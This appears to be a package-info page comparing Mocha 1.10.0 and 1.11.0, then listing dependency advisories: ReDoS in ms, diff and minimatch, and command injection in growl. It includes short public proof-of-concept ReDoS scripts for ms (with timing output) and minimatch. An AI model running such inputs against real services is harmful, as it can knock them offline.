Mocha, a popular and versatile JavaScript test framework, saw a release of version 1.11.0 on June 12, 2013, following version 1.10.0 released on May 22, 2013. Developers considering upgrading should be aware of the subtle changes introduced. Both versions maintain the core architecture familiar to Mocha users, offering a simple and flexible environment for test-driven development. Key dependencies like ms, diff, glob, jade, debug, growl, and commander remain largely consistent, ensuring a familiar ecosystem.
The primary difference lies in the mkdirp dependency, which updates from version 0.3.3 in v1.10.0 to version 0.3.5 in v1.11.0. This update to mkdirp, a utility for creating directories recursively, likely addresses bug fixes or minor enhancements within that specific dependency. While seemingly small, such changes can affect file system operations during test execution, potentially resolving edge cases or improving stability, so make sure it doesn't affect the functionality of your tests. Given the minimal adjustments, the upgrade from 1.10.0 to 1.11.0 should generally be straightforward for most projects, posing minimal risk of breaking changes while potentially benefiting from the updated mkdirp package. If you use this functionality within your tests you should definetly check release notes on the mkdirp package. Both versions continue to offer support for should and coffee-script in development, providing a comfortable experience for developers using these tools.
All the vulnerabilities related to the version 1.11.0 of the package
Regular Expression Denial of Service in ms
Versions of ms
prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.